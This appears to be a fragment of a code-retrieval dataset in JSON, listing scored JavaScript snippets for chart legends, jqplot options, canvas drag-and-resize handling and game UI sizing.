){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "title": "" }, { "docid": "777beaddee0252bcafab2a282da97048", "score": "0.5033746", "text": "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "title": "" }, { "docid": "777beaddee0252bcafab2a282da97048", "score": "0.5033746", "text": "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "title": "" }, { "docid": "777beaddee0252bcafab2a282da97048", "score": "0.5033746", "text": "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "title": "" }, { "docid": "777beaddee0252bcafab2a282da97048", "score": "0.5033746", "text": "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "title": "" }, { "docid": "777beaddee0252bcafab2a282da97048", "score": "0.5033746", "text": "function createLegend(choiceContainer, infos) {\r\n // Sort series by name\r\n var keys = [];\r\n $.each(infos.data.result.series, function(index, series){\r\n keys.push(series.label);\r\n });\r\n keys.sort(sortAlphaCaseless);\r\n\r\n // Create list of series with support of activation/deactivation\r\n $.each(keys, function(index, key) {\r\n var id = choiceContainer.attr('id') + index;\r\n $('<li />')\r\n .append($('<input id=\"' + id + '\" name=\"' + key + '\" type=\"checkbox\" checked=\"checked\" hidden />'))\r\n .append($('<label />', { 'text': key , 'for': id }))\r\n .appendTo(choiceContainer);\r\n });\r\n choiceContainer.find(\"label\").click( function(){\r\n if (this.style.color !== \"rgb(129, 129, 129)\" ){\r\n this.style.color=\"#818181\";\r\n }else {\r\n this.style.color=\"black\";\r\n }\r\n $(this).parent().children().children().toggleClass(\"legend-disabled\");\r\n });\r\n choiceContainer.find(\"label\").mousedown( function(event){\r\n event.preventDefault();\r\n });\r\n choiceContainer.find(\"label\").mouseenter(function(){\r\n this.style.cursor=\"pointer\";\r\n });\r\n\r\n // Recreate graphe on series activation toggle\r\n choiceContainer.find(\"input\").click(function(){\r\n infos.createGraph();\r\n });\r\n}", "title": "" }, { "docid": "e0f2a88dab535ff2aa178c9772ce67e9", "score": "0.502886", "text": "function preInit(target, data, options) {\n options = options || {};\n options.axesDefaults = options.axesDefaults || {};\n options.grid = options.grid || {};\n options.legend = options.legend || {};\n options.seriesDefaults = options.seriesDefaults || {};\n // only set these if there is a pie series\n var setopts = false;\n if (options.seriesDefaults.renderer === $.jqplot.PyramidRenderer) {\n setopts = true;\n }\n else if (options.series) {\n for (var i=0; i < options.series.length; i++) {\n if (options.series[i].renderer === $.jqplot.PyramidRenderer) {\n setopts = true;\n }\n }\n }\n \n if (setopts) {\n options.axesDefaults.renderer = $.jqplot.PyramidAxisRenderer;\n options.grid.renderer = $.jqplot.PyramidGridRenderer;\n options.seriesDefaults.pointLabels = {show: false};\n }\n }", "title": "" }, { "docid": "9902a446708bc0932b95fcbbb1d46231", "score": "0.5026011", "text": "function optionChanged(newSample) {\n createBarChart(newSample)\n createBubbleChart(newSample)\n displayMetadata(newSample)\n createGuageChart(newSample)\n}", "title": "" } ]
71e65a18087da70c70e700a395b25f45
Helper Function: Change the UI of the dragging Piece, from big to small or otherwize
[ { "docid": "24ae178e0bd72a6bd66580e056602c6d", "score": "0.6397687", "text": "function setDraggingPieceGroupStyle() {\r\n var size;\r\n if (game.needToShrink) {\r\n size = getSquareWidthHeight_Box();\r\n game.draggingPiece.style['width'] = size.width;\r\n game.draggingPiece.style['height'] = size.height;\r\n if (game.needToSettle) {\r\n game.draggingPiece.style['z-index'] = -1;\r\n }\r\n else {\r\n game.draggingPiece.style['z-index'] = 100;\r\n }\r\n }\r\n else {\r\n size = getSquareWidthHeight();\r\n }\r\n for (var i = 0; i < game.draggingPieceGroup.length; i++) {\r\n game.draggingPieceGroup[i].style['width'] = size.width;\r\n game.draggingPieceGroup[i].style['height'] = size.height;\r\n if (game.needToSettle) {\r\n game.draggingPieceGroup[i].style['z-index'] = -1;\r\n }\r\n else {\r\n game.draggingPieceGroup[i].style['z-index'] = 100;\r\n }\r\n }\r\n }", "title": "" } ]
[ { "docid": "0fd5c0c67e4b33f6e93f1a7db695f6fb", "score": "0.69145256", "text": "function changeToSmall (){\n\tcurSize = 2;\n}", "title": "" }, { "docid": "dba522055584d710641ce4d6557a3396", "score": "0.6840156", "text": "setPieceSize() {\n this.element.outerWidth(`${this.width}px`);\n this.element.outerHeight(`${this.height}px`);\n }", "title": "" }, { "docid": "475d7d675d69e7d7d1ee215785b4c63b", "score": "0.6720439", "text": "function on_size_change()\n{\n\t// get the current piece and change its color to the one in the picker yeah\n\tvar piece = get_selected_piece();\n\tresize_piece(piece, parseInt(editor_width.value), parseInt(editor_height.value));\n\n\t// update everything because the color is supposedly different now\n\tupdate_editor();\n}", "title": "" }, { "docid": "61947c3e9c4604c930402abb5022dfac", "score": "0.62562627", "text": "function adjustNewPiece() {\n draggingPiece = piece[piece.length-1];\n //draggingPiece.id=this.id;\n //draggingPiece = piece[piece.length-1];\n draggingPiece.inputEnabled='true';\n \n if(piece[piece.length-1].grouped != 1)\n {\n if(piece[piece.length-1].type !=1 && piece[piece.length-1].type !=2 && piece[piece.length-1].type !=11 && piece[piece.length-1].type !='14b' && piece[piece.length-1].type !='17b' && piece[piece.length-1].type !=19) //text is achored left\n {\n draggingPiece.anchor.setTo(0.5, 0.5); \n }\n \n draggingPiece.events.onInputDown.add(buildRedragPiece, draggingPiece);\n draggingPiece.events.onInputUp.add(onFinishDrag, draggingPiece);\n }\n}", "title": "" }, { "docid": "3eabff64b07285bdd7b7e56a707f3967", "score": "0.6157283", "text": "function _sizeSwitcher( e ) {\n var selectedSize = this.options[ this.selectedIndex ].value,\n wrapper = document.getElementById( \"embed-wrapper\" );\n\n if ( EMBED_SIZES[ selectedSize ] ) {\n wrapper.style.width = EMBED_SIZES[ selectedSize ].width + \"px\";\n wrapper.style.height = EMBED_SIZES[ selectedSize ].height+ CONTROLS_HEIGHT + \"px\";\n } else {\n wrapper.style.width = \"\";\n wrapper.style.height = \"\";\n }\n }", "title": "" }, { "docid": "0c878576987b8a489a6ac41f8b4ac9bb", "score": "0.6123845", "text": "function updateSize() {\n\t\t// $log.log(preDebugMsg + \"updateSize\");\n\t\tfontSize = parseInt($scope.gimme(\"FontSize\"));\n\t\tif(fontSize < 5) {\n\t\t\tfontSize = 5;\n\t\t}\n\n\t\tvar rw = $scope.gimme(\"DrawingArea:width\");\n\t\tif(typeof rw === 'string') {\n\t\t\trw = parseFloat(rw);\n\t\t}\n\t\tif(rw < 1) {\n\t\t\trw = 1;\n\t\t}\n\n\t\tvar rh = $scope.gimme(\"DrawingArea:height\");\n\t\tif(typeof rh === 'string') {\n\t\t\trh = parseFloat(rh);\n\t\t}\n\t\tif(rh < 1) {\n\t\t\trh = 1;\n\t\t}\n\n\t\tif(myCanvas === null) {\n\t\t\tvar myCanvasElement = $scope.theView.parent().find('#theCanvas');\n\t\t\tif(myCanvasElement.length > 0) {\n\t\t\t\tmyCanvas = myCanvasElement[0];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//$log.log(preDebugMsg + \"no canvas to resize!\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tmyCanvas.width = rw;\n\t\tmyCanvas.height = rh;\n\n\t\tif(dropCanvas === null) {\n\t\t\tvar myCanvasElement = $scope.theView.parent().find('#theDropCanvas');\n\t\t\tif(myCanvasElement.length > 0) {\n\t\t\t\tdropCanvas = myCanvasElement[0];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//$log.log(preDebugMsg + \"no drop canvas to resize!\");\n\t\t\t}\n\t\t}\n\t\tif(dropCanvas) {\n\t\t\tdropCanvas.width = rw;\n\t\t\tdropCanvas.height = rh;\n\t\t}\n\n\t\tif(selectionCanvas === null) {\n\t\t\tvar selectionCanvasElement = $scope.theView.parent().find('#theSelectionCanvas');\n\t\t\tif(selectionCanvasElement.length > 0) {\n\t\t\t\tselectionCanvas = selectionCanvasElement[0];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t//$log.log(preDebugMsg + \"no selectionCanvas to resize!\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t\tselectionCanvas.width = rw;\n\t\tselectionCanvas.height = rh;\n\t\tselectionCanvas.style.left = 0;\n\t\tselectionCanvas.style.top = 0;\n\n\t\tif(selectionHolderElement === null) {\n\t\t\tselectionHolderElement = $scope.theView.parent().find('#selectionHolder');\n\t\t}\n\t\tselectionHolderElement.width = rw;\n\t\tselectionHolderElement.height = rh;\n\t\tselectionHolderElement.top = 0;\n\t\tselectionHolderElement.left = 0;\n\n\t\tvar selectionRectElement = $scope.theView.parent().find('#selectionRectangle');\n\t\tselectionRectElement.width = rw;\n\t\tselectionRectElement.height = rh;\n\t\tselectionRectElement.top = 0;\n\t\tselectionRectElement.left = 0;\n\t\tif(selectionRectElement.length > 0) {\n\t\t\tselectionRect = selectionRectElement[0];\n\t\t\tselectionRect.width = rw;\n\t\t\tselectionRect.height = rh;\n\t\t\tselectionRect.top = 0;\n\t\t\tselectionRect.left = 0;\n\t\t}\n\n\t\tvar W = selectionCanvas.width;\n\t\tvar H = selectionCanvas.height;\n\t\tdrawW = W - leftMarg - rightMarg;\n\t\tdrawH = H - topMarg - bottomMarg * 2 - fontSize;\n\n\t\tfor(var sel = 0; sel < selections.length; sel++) {\n\t\t\tvar s = selections[sel];\n\t\t\ts[2] = legacyDDSupLib.val2pixelX(s[0], unique, drawW, leftMarg, limits.minX, limits.maxX);\n\t\t\ts[3] = legacyDDSupLib.val2pixelX(s[1], unique, drawW, leftMarg, limits.minX, limits.maxX);\n\t\t}\n\t\tdrawSelections();\n\n\t\tupdateDropZones(textColor, 0.3, false);\n\t}", "title": "" }, { "docid": "3d7dd556cfbd16d9c9c5ceb5c7033d93", "score": "0.61076397", "text": "onSetSize1x1() {\n this.props.onChangeSize(230, 230);\n }", "title": "" }, { "docid": "0ae71c0c08631c310b2d48a64fc7d69b", "score": "0.6099545", "text": "changeSelectionSize() {\n const { x, y } = this.handle.position();\n this.selection.size({\n width: (x - this.selection.position().x) + this.handle.size().width,\n height: (y - this.selection.position().y) + this.handle.size().height,\n });\n }", "title": "" }, { "docid": "4bda2b114bd638cee8beddf84ade78b5", "score": "0.60941416", "text": "changeSize() {\n // Calculate the distance between the mouse and the center of the shape\n this.distanceFromCenterX = mouseX - this.x;\n this.distanceFromCenterY = mouseY - this.y;\n // Change width and height according to the mouse position\n this.width = 2 * (this.distanceFromCenterX);\n this.height = 2 * (this.distanceFromCenterY);\n }", "title": "" }, { "docid": "fd7df77e06f9c7847973e9c40e97275f", "score": "0.60907507", "text": "@action toggleSize() {\n this.isLarge = !this.isLarge;\n }", "title": "" }, { "docid": "f764b6dee0878be2b7228344abcbb701", "score": "0.6080425", "text": "function resize() {\n\t\t// sets new values for size and px\n\t\tsize = this.value;\n\t\tpx = Math.round(400 / size);\n\t\t// get new tiles\n\t\treset();\n\t\t// style tiles for new board size\n\t\tsetStyleSettings();\n\t}", "title": "" }, { "docid": "2d087992cb4e4b19f185c4ae1173f648", "score": "0.6032516", "text": "@action toggleSize() {\n this.isLarge = !this.isLarge;\n }", "title": "" }, { "docid": "9f7775cb6b108d40d998d194043df900", "score": "0.60128784", "text": "resize() {\n let obj = this\n let new_width = $(obj.el).width()\n let new_height = $(obj.el).height()\n if (obj.tmp.current_width == new_width && new_height > 0) return\n\n let focus = this.helpers.focus\n let multi = this.helpers.multi\n let suffix = this.helpers.suffix\n let prefix = this.helpers.prefix\n\n // resize helpers\n if (focus) {\n focus.width($(obj.el).width())\n }\n if (multi) {\n let width = (w2utils.getSize(obj.el, 'width')\n - parseInt($(obj.el).css('margin-left'), 10)\n - parseInt($(obj.el).css('margin-right'), 10))\n $(multi).width(width)\n }\n if (suffix) {\n obj.options.suffix = '<div class=\"arrow-down\" style=\"margin-top: '+ ((parseInt($(obj.el).height()) - 6) / 2) +'px;\"></div>'\n obj.addSuffix()\n }\n if (prefix) {\n obj.addPrefix()\n }\n // remember width\n obj.tmp.current_width = new_width\n }", "title": "" }, { "docid": "456ac666b9609fbd3ff8edacb889db0f", "score": "0.59648067", "text": "function sizeChange(){\n //\n sHeight = sHeight * 1.1;\n sWidth = sWidth * 1.1;\n\n dvStyle.style.height = sHeight + \"px\";\n dvStyle.style.width = sWidth + \"px\";\n}", "title": "" }, { "docid": "3a28ab9df0a5d8af5a47ddb2b1157758", "score": "0.59157604", "text": "function myMove(e){\n if (isDrag) {\n getMouse(e);\n\n // something is changing position so we better invalidate the canvas!\n invalidate();\n } else if (isResizeDrag) {\n // time ro resize!\n var oldx = mySel.x;\n var oldy = mySel.y;\n \n // 0 1 2\n // 3 4\n // 5 6 7\n switch (expectResize) { \n case 0:\n mySel.x = parseInt(mx / widthUnitSet ) * widthUnitSet;\n mySel.y = parseInt(my / heightUnitSet) * heightUnitSet;\n mySel.w += oldx - mySel.x;\n mySel.h += oldy - mySel.y;\n break;\n case 1:\n mySel.y = parseInt(my / heightUnitSet) * heightUnitSet;\n mySel.h += oldy - mySel.y;\n break;\n case 2:\n mySel.y = parseInt(my / heightUnitSet) * heightUnitSet;\n mySel.w = parseInt(mx / widthUnitSet ) * widthUnitSet - oldx;\n if(mySel.w > 0){\n \tmySel.w = mySel.w + widthUnitSet;\n }else{\n \tmySel.w = mySel.w - widthUnitSet;\n }\n mySel.h += oldy - mySel.y;\n break;\n case 3:\n mySel.x = parseInt(mx / widthUnitSet) * widthUnitSet;\n mySel.w += oldx - mySel.x;\n break;\n case 4:\n mySel.w = parseInt(mx / widthUnitSet ) * widthUnitSet - oldx;\n if(mySel.w > 0){\n \tmySel.w = mySel.w + widthUnitSet;\n }else{\n \tmySel.w = mySel.w - widthUnitSet;\n }\n break;\n case 5:\n mySel.x = parseInt(mx / widthUnitSet ) * widthUnitSet;\n mySel.w += oldx - mySel.x;\n mySel.h = parseInt(my / heightUnitSet) * heightUnitSet - oldy;\n if(mySel.h > 0){\n \tmySel.h = mySel.h + heightUnitSet;\n }else{\n \tmySel.h = mySel.h - heightUnitSet;\n }\n break;\n case 6:\n mySel.h = parseInt(my / heightUnitSet) * heightUnitSet - oldy;\n if(mySel.h > 0){\n \tmySel.h = mySel.h + heightUnitSet;\n }else{\n \tmySel.h = mySel.h - heightUnitSet;\n }\n break;\n case 7:\n mySel.w = parseInt(mx / widthUnitSet ) * widthUnitSet - oldx;\n mySel.h = parseInt(my / heightUnitSet) * heightUnitSet - oldy;\n if(mySel.w > 0){\n \tmySel.w = mySel.w + widthUnitSet;\n }else{\n \tmySel.w = mySel.w - widthUnitSet;\n }\n if(mySel.h > 0){\n \tmySel.h = mySel.h + heightUnitSet;\n }else{\n \tmySel.h = mySel.h - heightUnitSet;\n }\n break;\n }\n \n if(parseInt(mySel.w / widthUnitSet) > 2 && parseInt(mySel.h / heightUnitSet) > 2){\n \tvar l = boxes2.length;\n \tfor(var i = 0; i < l; i++){\n \t\tif(boxes2[i].x == mySel.x && boxes2[i].y == mySel.y && boxes2[i].fill == '#000000'){\n \t\t\tboxes2[i].fill = changeStyle(\"Red\");\n \t\t\trectArray[i].red = true;\n \t\t\trectArray[i].color = \"Red\";\n \t\t}\n \t}\n }\n invalidate();\n }\n \n getMouse(e);\n // if there's a selection see if we grabbed one of the selection handles\n if (mySel !== null && !isResizeDrag) {\n for (var i = 0; i < 8; i++) {\n // 0 1 2\n // 3 4\n // 5 6 7\n \n var cur = selectionHandles[i];\n \n // we dont need to use the ghost context because\n // selection handles will always be rectangles\n if (mx >= cur.x && mx <= cur.x + mySelBoxSize &&\n my >= cur.y && my <= cur.y + mySelBoxSize) {\n // we found one!\n expectResize = i;\n invalidate();\n return;\n }\n \n }\n // not over a selection box, return to normal\n isResizeDrag = false;\n expectResize = -1;\n// this.style.cursor='auto';\n }\n \n}", "title": "" }, { "docid": "709bfdee7907e592dc47bdc411f2bcd1", "score": "0.5910199", "text": "function update_brush_size_indicator(){\n choosen_brush_size_indicator.innerHTML = brush_size_slider.value + \"px\";\n}", "title": "" }, { "docid": "f1b512763c8852d82cf41ab7de7afa22", "score": "0.58871", "text": "onMouseDragged(event){\n this.resizeStrategy.resize(this.command.selectionBBox, event);\n }", "title": "" }, { "docid": "b8289e767f45c1ddaae7476fa03f3e76", "score": "0.58612293", "text": "function changeSize(e) {\n window.player.setValue('rect1', 'width', e.value);\n window.player.setValue('rect1', 'height', e.value);\n}", "title": "" }, { "docid": "2518a11e51cfafa02ebeb09c6f2e9f15", "score": "0.5861035", "text": "function resize(e) {\n \n if (currentResizer.id === \"9\") {\n const width = original_width + (e.pageX - original_mouse_x);\n const height = original_height + (e.pageY - original_mouse_y);\n if (width > minimum_size) {\n element.style.width = width + 'px';\n }\n if (height > minimum_size) {\n element.style.height = height + 'px';\n }\n flag[9] = true;\n }\n else if (currentResizer.id === \"7\") {\n const height = original_height + (e.pageY - original_mouse_y);\n const width = original_width - (e.pageX - original_mouse_x);\n if (height > minimum_size) {\n element.style.height = height + 'px';\n }\n if (width > minimum_size) {\n element.style.width = width + 'px';\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px';\n }\n flag[7] = true;\n }\n else if(currentResizer.id === \"1\"){\n const height = original_height - (e.pageY - original_mouse_y );\n const width = original_width - (e.pageX - original_mouse_x);\n if (height > minimum_size) {\n element.style.height = height + 'px';\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px';\n }\n if (width > minimum_size) {\n element.style.width = width + 'px';\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px';\n }\n flag[1] = true;\n }\n else if(currentResizer.id === \"3\"){\n const width = original_width + (e.pageX - original_mouse_x);\n const height = original_height - (e.pageY - original_mouse_y);\n if (width > minimum_size) {\n element.style.width = width + 'px';\n element.style.right = original_x + (e.pageX - original_mouse_x) + 'px';\n }\n if (height > minimum_size) {\n element.style.height = height + 'px';\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px';\n }\n flag[3] = true;\n }\n else if(currentResizer.id === \"2\"){\n const height = original_height - (e.pageY - original_mouse_y);\n if (height > minimum_size) {\n element.style.height = height + 'px';\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px';\n }\n flag[2] = true;\n }\n else if(currentResizer.id === \"4\"){\n const width = original_width - (e.pageX - original_mouse_x);\n if (width > minimum_size) {\n element.style.width = width + 'px';\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px';\n }\n flag[4] = true;\n }\n else if(currentResizer.id === \"6\"){\n const width = original_width - (original_mouse_x - e.pageX);\n if (width > minimum_size) {\n element.style.width = width + 'px';\n element.style.right = original_x + (original_mouse_x - e.pageX) + 'px';\n }\n flag[6] = true;\n }\n else if(currentResizer.id === \"8\"){\n const height = original_height - (original_mouse_y - e.pageY);\n if (height > minimum_size) {\n element.style.height = height + 'px';\n element.style.bottom = original_y + (original_mouse_y - e.pageY ) + 'px';\n }\n flag[8] = true;\n }\n else if(currentResizer.id === \"5\"){\n element.style.top = original_y + (e.pageY - original_mouse_y) + 'px';\n element.style.left = original_x + (e.pageX - original_mouse_x) + 'px';\n element.style.bottom = original_y + (original_mouse_y - e.pageY ) + 'px';\n element.style.right = original_x + (original_mouse_x - e.pageX) + 'px';\n flag[5] = true;\n }\n \n }", "title": "" }, { "docid": "6e71055d8f287389d92228d1e2989865", "score": "0.5859153", "text": "function Resizable() {\n }", "title": "" }, { "docid": "ebd670864cbd0667e35dac51d6a09993", "score": "0.58350265", "text": "function resize() {\r\n var win = $(this);\r\n elem.css({\r\n height: win.height(),\r\n width: win.width()\r\n });\r\n }", "title": "" }, { "docid": "023ab796d81cc2dead85491906e79c48", "score": "0.58043265", "text": "function toggleContainerSize(container) {\n let background = sketch\n .getSelectedDocument()\n .getLayerWithID(Settings.layerSettingForKey(container, 'backgroundID'));\n let board = container.getParentArtboard();\n let changeAmount = background.frame.width > PANEL_WIDTH ? -1 * PANEL_WIDTH : PANEL_WIDTH;\n board.frame = new Rectangle(\n board.frame.x,\n board.frame.y,\n board.frame.width + changeAmount,\n board.frame.height\n );\n background.frame = new Rectangle(\n background.frame.x,\n background.frame.y,\n background.frame.width + changeAmount,\n background.frame.height\n );\n container.frame = new Rectangle(\n container.frame.x,\n container.frame.y,\n container.frame.width + changeAmount,\n container.frame.height\n );\n}", "title": "" }, { "docid": "cd1c70a427eb2055aa5b8cfde9b856bc", "score": "0.5786812", "text": "resize2(){\n\n layout.CX= window.innerWidth/2;\n layout.CY= window.innerHeight/2 -50;\n\n var changeY=window.innerHeight-this.startheight_nochange;\n var changeX=window.innerWidth-this.startwidth_nochange;\n\n this.app.stage.getChildByName(\"opener\").x=window.innerWidth/2;\n this.app.stage.getChildByName(\"opener\").y=window.innerHeight/2;\n\n if(this.currentSlide!=34){\n\n this.app.stage.getChildAt(0).x=changeX/2;\n this.app.stage.getChildAt(0).y=changeY/2;\n this.app.stage.getChildAt(0).getChildAt(4).x=changeX/2;\n } else {\n this.app.stage.getChildAt(0).y=changeY/2;\n\n this.app.stage.getChildAt(0).getChildAt(2).getChildByName(\"databox\").x=window.innerWidth-260;\n this.app.stage.getChildAt(0).getChildAt(2).getChildByName(\"databox\").y=50 - changeY/2;\n\n this.app.stage.getChildAt(0).getChildAt(2).getChildByName(\"learnbox\").y=50-changeY/2;\n this.app.stage.getChildAt(0).getChildAt(2).getChildByName(\"actfnsbox\").y=155-changeY/2;\n this.app.stage.getChildAt(0).getChildAt(2).getChildByName(\"ratebox\").y=315-changeY/2;\n\n this.app.stage.getChildAt(0).getChildAt(7).x=changeX;\n this.app.stage.getChildAt(0).getChildAt(7).y=-changeY/2 + changeY;\n\n this.app.stage.getChildAt(0).getChildAt(8).x=changeX;\n this.app.stage.getChildAt(0).getChildAt(8).y=-changeY/2+changeY;\n\n }\n }", "title": "" }, { "docid": "f5ef74ae782147fc0f73fbd87d6aaee2", "score": "0.5756477", "text": "setSlotSize() {\n this.element.outerWidth(`${this.width}px`);\n this.element.outerHeight(`${this.height}px`);\n }", "title": "" }, { "docid": "ce8e2396260d3991d77c9f917e8da31b", "score": "0.5743928", "text": "function changeSize() {\n\t\tvar i = Math.min(Math.round(x.invert(d3.mouse(this)[0])), sizeVariables.length-1);\n\t\tdot.attr('cx', x(i)).attr('cy', y(i));\n\t\tvarName.text('Size: ' + sizeVariables[i]);\n\n\t\t// make sure the scale section has changed\n\t\t// if i==0 then \"None\" is selected\n\t\tif (i!=currentSize & i!=0) {\n\t\t\tvar newVar = data.map(function(d) {return +d[sizeVariables[i]]});\n\t\t\tupdateSize(newVar);\n\t\t} else if (i!=currentSize) {\n\t\t\td3.selectAll('.point')\n\t\t\t\t.attr('r',3.5);\n\t\t}\n\n\t\tcurrentSize = i;\n\t\t\n\t}", "title": "" }, { "docid": "7da69fec0dbe77619d45d9d8fadd2210", "score": "0.5743537", "text": "function setDrawingSize(event) {\n sketchController.size = this.value;\n}", "title": "" }, { "docid": "db90831317d93895bc29460900f1a0c8", "score": "0.5740771", "text": "function sizes() {\n console.log(\"sizes();\")\n\n // Adjust for 10px padding on each side because of the handles\n var adjusted_width = parseInt(width) + 20\n var adjusted_height = parseInt(height) + 20\n\n $demo_width.val(width)\n $demo_height.val(height)\n\n $box.css({\n width: adjusted_width,\n height: adjusted_height\n })\n}", "title": "" }, { "docid": "39100e6059e74c7c71bf5ecea65d2c3a", "score": "0.5735066", "text": "function resize() {\n\t\t\t\tvar win = $(this);\n\t\t\t\telem.css({\n\t\t\t\t\theight: win.height(),\n\t\t\t\t\twidth: win.width()\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "39100e6059e74c7c71bf5ecea65d2c3a", "score": "0.5735066", "text": "function resize() {\n\t\t\t\tvar win = $(this);\n\t\t\t\telem.css({\n\t\t\t\t\theight: win.height(),\n\t\t\t\t\twidth: win.width()\n\t\t\t\t});\n\t\t\t}", "title": "" }, { "docid": "6e2a30fe47cdc95644d878807659b56f", "score": "0.57256866", "text": "function level4ResizeUI() {\n var toggle_width = this.toggle_width;\n var toggle_count = this.toggle_count;\n var lamp_width = this.lamp_width;\n var button_width = this.button_width;\n var status_height = this.status._h * 2;\n var gauge_width = this.gauge_width;\n var label_height = this.label_height;\n\n var width = Math.round( toggle_width * 1.5 * (toggle_count / 2) + button_width + gauge_width * 1.5 );\n var height = status_height * 1.5 + label_height + Math.round( toggle_width * 2.25 );\n var left = SCREEN.center_in_x(width);\n var top = SCREEN.center_in_y(height);\n\n // Arrange UI elements\n this.status.width(SCREEN.w_pct(0.88));\n this.status.attr({ x: SCREEN.center_in_x(this.status.w), y: top });\n top += status_height * 1.5;\n height -= status_height * 1.5;\n\n for ( var i = 0; i < toggle_count / 2; i++ ) {\n var toggle_y = top + label_height * 1.5 + i * toggle_width * 1.1;\n\n this.left_toggles[i].attr({ x: left, y: toggle_y,\n w: toggle_width, h: toggle_width });\n this.right_toggles[i].attr({ x: left + toggle_width * 1.5, y: toggle_y,\n w: toggle_width, h: toggle_width });\n }\n\n // TODO FIXME HACKS bad number here, make it calculated\n this.left_label.attr({ x: SCREEN.center_in_x(SCREEN.css_width(this.left_label), 